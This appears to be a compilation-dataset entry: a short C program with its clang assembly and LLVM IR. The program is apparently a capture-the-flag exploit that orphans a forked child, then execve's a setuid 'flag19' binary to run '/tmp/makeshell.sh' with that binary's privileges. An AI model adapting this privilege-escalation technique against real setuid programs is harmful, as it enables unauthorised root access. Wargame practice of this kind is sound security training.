#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ execve(char *, char **, char **);
int fork();
int /*<<< orphan*/ geteuid();
int getpid();
int getppid();
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ setresuid(int /*<<< orphan*/, int /*<<< orphan*/,
                             int /*<<< orphan*/);
int /*<<< orphan*/ sleep(int);
int main(int argc, char **argv, char **envp) {
  printf("I am the gatekeeper at PID %d, PPID %d\n", getpid(), getppid());
  int cPID = fork();
  if (cPID >= 0) {
    if (cPID == 0) {
      printf("\nI am the keymaster at PID %d, PPID %d", getpid(), getppid());
      sleep(2);
      setresuid(geteuid(), geteuid(), geteuid());
      char *args[] = {"/bin/sh", "-c", "/tmp/makeshell.sh", NULL};
      printf("\nThe door has been opened!\n");
      execve("/home/flag19/flag19", args, envp);
    }
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x50,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    $0x0,%al
call   1030 <getpid@plt>
mov    %eax,-0x44(%rbp)
mov    $0x0,%al
call   1080 <getppid@plt>
mov    -0x44(%rbp),%esi
mov    %eax,%edx
lea    0xe49(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x0,%al
call   10a0 <fork@plt>
mov    %eax,-0x1c(%rbp)
cmpl   $0x0,-0x1c(%rbp)
jl     1285 <main+0x105>
cmpl   $0x0,-0x1c(%rbp)
jne    1280 <main+0x100>
mov    $0x0,%al
call   1030 <getpid@plt>
mov    %eax,-0x50(%rbp)
mov    $0x0,%al
call   1080 <getppid@plt>
mov    -0x50(%rbp),%esi
mov    %eax,%edx
lea    0xe2f(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x2,%edi
call   1090 <sleep@plt>
mov    $0x0,%al
call   1060 <geteuid@plt>
mov    %eax,-0x4c(%rbp)
mov    $0x0,%al
call   1060 <geteuid@plt>
mov    %eax,-0x48(%rbp)
mov    $0x0,%al
call   1060 <geteuid@plt>
mov    -0x4c(%rbp),%edi
mov    -0x48(%rbp),%esi
mov    %eax,%edx
call   1040 <setresuid@plt>
mov    0x2bc7(%rip),%rax
mov    %rax,-0x40(%rbp)
mov    0x2bc4(%rip),%rax
mov    %rax,-0x38(%rbp)
mov    0x2bc1(%rip),%rax
mov    %rax,-0x30(%rbp)
mov    0x2bbe(%rip),%rax
mov    %rax,-0x28(%rbp)
lea    0xe07(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    -0x40(%rbp),%rsi
mov    -0x18(%rbp),%rdx
lea    0xe0d(%rip),%rdi
call   1070 <execve@plt>
jmp    1285 <main+0x105>
xor    %eax,%eax
add    $0x50,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r14
push   %rbx
sub    $0x20,%rsp
mov    %rdx,%r14
xor    %eax,%eax
call   1040 <getpid@plt>
mov    %eax,%ebp
xor    %eax,%eax
call   1090 <getppid@plt>
lea    0xe4e(%rip),%rdi
mov    %ebp,%esi
mov    %eax,%edx
xor    %eax,%eax
call   1060 <printf@plt>
xor    %eax,%eax
call   10b0 <fork@plt>
test   %eax,%eax
jne    1251 <main+0xc1>
xor    %eax,%eax
call   1040 <getpid@plt>
mov    %eax,%ebp
xor    %eax,%eax
call   1090 <getppid@plt>
lea    0xe45(%rip),%rdi
mov    %ebp,%esi
mov    %eax,%edx
xor    %eax,%eax
call   1060 <printf@plt>
mov    $0x2,%edi
call   10a0 <sleep@plt>
xor    %eax,%eax
call   1070 <geteuid@plt>
mov    %eax,%ebp
xor    %eax,%eax
call   1070 <geteuid@plt>
mov    %eax,%ebx
xor    %eax,%eax
call   1070 <geteuid@plt>
mov    %ebp,%edi
mov    %ebx,%esi
mov    %eax,%edx
call   1050 <setresuid@plt>
movaps 0x2bed(%rip),%xmm0
movaps %xmm0,0x10(%rsp)
movaps 0x2bd1(%rip),%xmm0
movaps %xmm0,(%rsp)
lea    0xe46(%rip),%rdi
call   1030 <puts@plt>
lea    0xe26(%rip),%rdi
mov    %rsp,%rsi
mov    %r14,%rdx
call   1080 <execve@plt>
xor    %eax,%eax
add    $0x20,%rsp
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
@.str = [40 x i8] c"I am the gatekeeper at PID %d, PPID %d\0A\00"
@.str.1 = [39 x i8] c"\0AI am the keymaster at PID %d, PPID %d\00"
@.str.2 = [8 x i8] c"/bin/sh\00"
@.str.3 = [3 x i8] c"-c\00"
@.str.4 = [18 x i8] c"/tmp/makeshell.sh\00"
@__const.main.args = [4 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i32 0, i32 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i32 0, i32 0), i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.4, i32 0, i32 0), i8* null]
@.str.5 = [28 x i8] c"\0AThe door has been opened!\0A\00"
@.str.6 = [20 x i8] c"/home/flag19/flag19\00"
define i32 @main(i32 %0, i8** %1, i8** %2) {
%4 = alloca i32
%5 = alloca i32
%6 = alloca i8**
%7 = alloca i8**
%8 = alloca i32
%9 = alloca [4 x i8*]
store i32 0, i32* %4
store i32 %0, i32* %5
store i8** %1, i8*** %6
store i8** %2, i8*** %7
%10 = call i32 (...) @getpid()
%11 = call i32 (...) @getppid()
%12 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str, i64 0, i64 0), i32 %10, i32 %11)
%13 = call i32 (...) @fork()
store i32 %13, i32* %8
%14 = load i32, i32* %8
%15 = icmp sge i32 %14, 0
br i1 %15, label %16, label %34
16: ; preds = %3
%17 = load i32, i32* %8
%18 = icmp eq i32 %17, 0
br i1 %18, label %19, label %33
19: ; preds = %16
%20 = call i32 (...) @getpid()
%21 = call i32 (...) @getppid()
%22 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([39 x i8], [39 x i8]* @.str.1, i64 0, i64 0), i32 %20, i32 %21)
%23 = call i32 @sleep(i32 2)
%24 = call i32 (...) @geteuid()
%25 = call i32 (...) @geteuid()
%26 = call i32 (...) @geteuid()
%27 = call i32 @setresuid(i32 %24, i32 %25, i32 %26)
%28 = bitcast [4 x i8*]* %9 to i8*
%29 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.5, i64 0, i64 0))
%30 = getelementptr inbounds [4 x i8*], [4 x i8*]* %9, i64 0, i64 0
%31 = load i8**, i8*** %7
%32 = call i32 @execve(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.6, i64 0, i64 0), i8** %30, i8** %31)
br label %33
33: ; preds = %19, %16
br label %34
34: ; preds = %33, %3
ret i32 0
}

LLVM IR (-O2):
@.str = [40 x i8] c"I am the gatekeeper at PID %d, PPID %d\0A\00"
@.str.1 = [39 x i8] c"\0AI am the keymaster at PID %d, PPID %d\00"
@.str.2 = [8 x i8] c"/bin/sh\00"
@.str.3 = [3 x i8] c"-c\00"
@.str.4 = [18 x i8] c"/tmp/makeshell.sh\00"
@__const.main.args = [4 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i32 0, i32 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i32 0, i32 0), i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.4, i32 0, i32 0), i8* null]
@.str.6 = [20 x i8] c"/home/flag19/flag19\00"
@str = [27 x i8] c"\0AThe door has been opened!\00"
define i32 @main(i32 %0, i8** nocapture readnone %1, i8** %2) {
%4 = alloca [4 x i8*]
%5 = tail call i32 (...) @getpid()
%6 = tail call i32 (...) @getppid()
%7 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([40 x i8], [40 x i8]* @.str, i64 0, i64 0), i32 %5, i32 %6)
%8 = tail call i32 (...) @fork()
%9 = icmp eq i32 %8, 0
br i1 %9, label %10, label %23
10: ; preds = %3
%11 = tail call i32 (...) @getpid()
%12 = tail call i32 (...) @getppid()
%13 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([39 x i8], [39 x i8]* @.str.1, i64 0, i64 0), i32 %11, i32 %12)
%14 = tail call i32 @sleep(i32 2)
%15 = tail call i32 (...) @geteuid()
%16 = tail call i32 (...) @geteuid()
%17 = tail call i32 (...) @geteuid()
%18 = tail call i32 @setresuid(i32 %15, i32 %16, i32 %17)
%19 = bitcast [4 x i8*]* %4 to i8*
%20 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @str, i64 0, i64 0))
%21 = getelementptr inbounds [4 x i8*], [4 x i8*]* %4, i64 0, i64 0
%22 = call i32 @execve(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.6, i64 0, i64 0), i8** %21, i8** %2)
br label %23
23: ; preds = %10, %3
ret i32 0
}